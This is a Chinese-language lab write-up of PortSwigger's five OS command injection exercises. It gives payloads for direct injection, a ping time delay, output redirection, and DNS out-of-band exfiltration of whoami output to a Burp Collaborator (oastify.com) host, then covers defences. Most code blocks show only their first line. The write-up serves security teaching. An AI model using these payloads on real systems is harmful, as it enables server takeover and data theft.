# PortSwigger 操作系统命令注入靶场完全攻略(5 个实验全解析)
# 前言
操作系统命令注入(OS Command Injection),也称为 Shell 注入,是 Web 安全中极其危险的漏洞之一。它允许攻击者在运行应用程序的服务器上执行操作系统命令,通常会导致应用程序及其数据的完全泄露。攻击者可以利用此类漏洞危害托管基础设施的其他部分,并利用信任关系将攻击转向组织内的其他系统。
PortSwigger 提供的操作系统命令注入靶场包含 5 个精心设计的实验,涵盖了从基础到高级的各种命令注入技术。本文将详细解析每个实验的原理、攻击步骤和技术要点。
# 什么是操作系统命令注入
操作系统命令注入是一种代码注入漏洞,攻击者能够向应用程序提供包含操作系统命令的恶意输入,这些命令会在服务器上执行。当应用程序将用户输入直接传递给系统 shell 时,就会出现这种漏洞。
# 命令注入的危害
- 服务器完全控制:攻击者可以执行任意系统命令
- 数据泄露:读取敏感文件和配置信息
- 权限提升:利用系统漏洞提升访问权限
- 横向渗透:攻击内网其他系统
- 持久化控制:安装后门和恶意软件
# 实验环境准备
在开始之前,请确保:
- 拥有 PortSwigger Academy 账号
- 熟练使用 BurpSuite 进行抓包和改包
- 了解基本的 Linux/Windows 命令行操作
- 理解 HTTP 协议和 Web 应用架构
- 准备好 Burp Collaborator 用于带外攻击测试
# 实战演练
# 实验 1:操作系统命令注入,简单案例
# 目标描述
该实验室的产品库存检查器中存在操作系统命令注入漏洞。应用程序执行包含用户提供的产品和商店 ID 的 shell 命令,并在响应中返回命令的原始输出。
# 任务目标
执行 whoami 命令以确定当前用户的名称。
# 漏洞分析
应用程序可能执行类似如下的系统命令:
1 | stockcheck.sh --product-id=<productId> --store-id=<storeId> |
当 storeId 参数直接传递给 shell 时,攻击者可以注入额外的命令。
# 攻击步骤
- 访问目标页面:导航到产品库存检查功能
- 开启 Burp 拦截:使用 Burp Suite 拦截检查库存的请求
- 分析请求参数:观察 productId 和 storeId 参数的传递方式
- 注入命令:修改 storeId 参数,注入 whoami 命令
具体 Payload:
1 | storeId=1|whoami |
# 技术原理
在 Unix/Linux 系统中,管道符 | 用于将前一个命令的输出作为后一个命令的输入:
1 | # 原始命令 |
这样,系统会先执行库存检查命令,然后执行 whoami 命令,并将结果返回给用户。
# 预期结果
响应中应该包含当前用户的名称,例如:
1 | www-data |
# 实验 2:带时间延迟的操作系统盲命令注入
# 目标描述
该实验室在反馈功能中包含操作系统盲命令注入漏洞。应用程序执行包含用户提供的详细信息的 shell 命令。命令的输出不会在响应中返回。
# 任务目标
利用操作系统盲命令注入漏洞造成 10 秒的延迟。
# 漏洞分析
盲命令注入的特点是:
- 命令会被执行,但输出不返回给用户
- 需要通过其他方式验证命令执行
- 时间延迟是最常用的验证方法
# 攻击步骤
- 定位反馈功能:找到网站的用户反馈表单
- 拦截请求:使用 Burp Suite 拦截提交反馈的请求
- 分析参数:观察 email 等参数的处理方式
- 注入延迟命令:修改 email 参数注入 ping 命令
具体 Payload:
1 | email=x||ping+-c+10+127.0.0.1|| |
# 技术原理
- 命令分隔符:
||是 shell 中的 OR 操作符 - Ping 命令:
ping -c 10 127.0.0.1会发送 10 个 ICMP 包到本地回环地址 - 时间延迟:每个 ping 包间隔 1 秒,总共约 10 秒延迟
1 | # 注入后的命令逻辑 |
当 email 参数为空时,会执行后面的 ping 命令,造成 10 秒延迟。
# 验证方法
观察响应时间,如果延迟约 10 秒,说明命令注入成功。
# 实验 3:具有输出重定向的盲操作系统命令注入
# 目标描述
该实验室在反馈功能中包含操作系统盲命令注入漏洞。应用程序执行包含用户提供的详细信息的 shell 命令。命令的输出不会在响应中返回。但是,您可以使用输出重定向来捕获命令的输出。有一个可写文件夹: /var/www/images/ 。应用程序从此位置提供产品目录的图像。
# 任务目标
执行 whoami 命令并检索输出。
# 漏洞分析
这个实验的关键点:
- 发现可写目录
/var/www/images/ - 利用输出重定向将命令结果保存到文件
- 通过 Web 访问获取文件内容
# 攻击步骤
第一步:写入命令输出到文件
- 拦截反馈请求:使用 Burp Suite 拦截提交反馈的请求
- 注入重定向命令:修改 email 参数
具体 Payload:
1 | email=||whoami>/var/www/images/output.txt|| |
第二步:访问输出文件
- 寻找图片加载功能:找到产品图片加载的请求
- 拦截图片请求:使用 Burp Suite 拦截加载产品图像的请求
- 修改文件名:将 filename 参数改为 output.txt
具体修改:
1 | filename=output.txt |
# 技术原理
- 输出重定向:
>将命令输出重定向到文件 - 文件路径:利用已知的可写目录
/var/www/images/ - Web 访问:通过图片加载功能访问写入的文件
1 | # 命令执行过程 |
# 预期结果
在响应中应该看到 whoami 命令的输出,例如:
1 | www-data |
# 实验 4:带外交互的盲操作系统命令注入
# 目标描述
该实验室在反馈功能中包含操作系统盲命令注入漏洞。应用程序执行包含用户提供的详细信息的 shell 命令。该命令是异步执行的,对应用程序的响应没有影响。无法将输出重定向到您可以访问的位置。但是,您可以触发与外部域的带外交互。
# 任务目标
利用操作系统盲命令注入漏洞向 Burp Collaborator 发出 DNS 查找。
# 漏洞分析
这个实验的特点:
- 异步命令执行,不影响响应时间
- 无法使用输出重定向
- 必须使用带外(OAST)技术
# 攻击步骤
- 获取 Burp Collaborator 客户端:在 Burp Suite 中生成 Collaborator 客户端
- 拦截反馈请求:使用 Burp Suite 拦截提交反馈的请求
- 注入 DNS 查询命令:修改 email 参数
具体 Payload:
1 | email=x||nslookup+x.BURP-COLLABORATOR-SUBDOMAIN|| |
# 技术原理
- DNS 查询:
nslookup命令用于 DNS 域名解析 - 带外检测:通过 Collaborator 服务器接收 DNS 查询
- 异步执行:命令异步执行,不阻塞应用响应
1 | # 命令执行逻辑 |
# OAST 技术详解
带外应用安全测试(OAST)是一种通过外部网络交互来检测漏洞的技术:
1 | # 基本DNS查询带外 |
# 验证方法
在 Burp Collaborator 客户端中查看是否收到 DNS 查询请求。
# 实验 5:带外数据泄露的盲操作系统命令注入
# 目标描述
该实验室在反馈功能中包含操作系统盲命令注入漏洞。应用程序执行包含用户提供的详细信息的 shell 命令。该命令是异步执行的,对应用程序的响应没有影响。无法将输出重定向到您可以访问的位置。但是,您可以触发与外部域的带外交互。
# 任务目标
执行 whoami 命令并通过 DNS 查询将输出渗透到 Burp Collaborator。需要输入当前用户的名称才能完成实验。
# 漏洞分析
这是最复杂的实验,需要:
- 执行命令获取数据
- 将数据编码到 DNS 查询中
- 通过带外通道泄露数据
# 攻击步骤
- 获取 Burp Collaborator 域名:生成新的 Collaborator 子域
- 拦截反馈请求:使用 Burp Suite Professional 拦截提交反馈请求
- 构造数据泄露 Payload: 修改 email 参数
具体 Payload:
1 | email=x||nslookup+`whoami`.zil6so7cbkpvszmjvnkp0v2v3m9dx3ls.oastify.com|| |
# 技术原理
- 命令替换:
`whoami`执行 whoami 命令并替换为输出 - DNS 子域:将命令输出作为 DNS 子域的一部分
- 数据泄露:通过 DNS 查询将数据传输到外部服务器
1 | # 完整的命令执行过程 |
执行后会生成类似如下的 DNS 查询:
1 | wwwuser.zil6so7cbkpvszmjvnkp0v2v3m9dx3ls.oastify.com |
# 验证方法
在 Burp Collaborator 中查看 DNS 查询记录,提取用户名部分。
# 数据泄露技术详解
带外数据泄露的核心是将命令输出嵌入到网络请求中:
1 | # 通用数据泄露模板 |
这种方法可以泄露各种命令的输出:
1 | # 泄露当前目录 |
# 命令注入技术总结
# 常用命令分隔符
| 分隔符 | 说明 | 示例 |
|---|---|---|
; | 顺序执行多个命令 | cmd1; cmd2 |
&& | 前命令成功才执行后命令 | cmd1 && cmd2 |
|| | 前命令失败才执行后命令 | cmd1 || cmd2 |
| | 管道,将输出作为输入 | cmd1 | cmd2 |
& | 后台执行 | cmd1 & cmd2 |
# 不同操作系统的命令
# Linux/Unix
1 | # 信息收集 |
# Windows
1 | # 信息收集 |
# 带外(OAST)技术
# DNS 带外
1 | # Linux |
# HTTP 带外
1 | # Linux |
# 防御措施
# 1. 避免调用系统命令
1 | # 不安全的做法 |
# 2. 输入验证和过滤
1 | // Java输入验证示例 |
# 3. 使用安全的 API
1 | // 不安全的做法 |
# 4. 权限控制
1 | # 创建受限用户 |
# 5. WAF 防护
部署 Web 应用防火墙,配置规则检测和阻止命令注入攻击:
1 | # Nginx规则示例 |
# 自动化检测工具
# Burp Suite 插件
- Intruder: 自动化 fuzzing 测试
- Collaborator Client: 带外攻击检测
- Turbo Intruder: 高速自动化测试
# 自定义检测脚本
1 | import requests |
# 总结
通过 PortSwigger 操作系统命令注入靶场的 5 个实验,我们系统学习了:
- 基础命令注入:直接执行命令并获取输出
- 盲注技术:通过时间延迟验证命令执行
- 输出重定向:将命令结果保存到可访问文件
- 带外检测:使用 DNS 查询验证漏洞存在
- 数据泄露:通过带外通道获取敏感信息
# 关键技术要点
- 命令分隔符:熟练使用各种命令分隔符
- 输出处理:理解不同场景下的输出获取方法
- 带外技术:掌握 DNS 和 HTTP 带外攻击技术
- 自动化:使用工具提高检测和利用效率
# 防御最佳实践
- 避免系统调用:尽量避免直接调用系统命令
- 输入验证:严格的白名单验证
- 权限最小化:使用最小必要权限
- 安全编码:使用安全的 API 和编码规范
- 监控审计:部署检测和监控机制
操作系统命令注入虽然是一个相对 "古老" 的漏洞,但在实际应用中仍然普遍存在。掌握其原理和利用方法,不仅有助于渗透测试工作,更重要的是帮助开发者编写更安全的代码,构建更安全的 Web 应用。
# 参考资源
- PortSwigger Web Security Academy - OS Command Injection
- OWASP Command Injection Prevention
- Burp Suite Documentation
- OWASP Testing Guide - Command Injection
免责声明:本文内容仅用于教育目的,请勿在未授权的情况下对他人系统进行测试。所有安全测试都应在获得明确授权的环境中进行。

































































































































































































































































































































































































































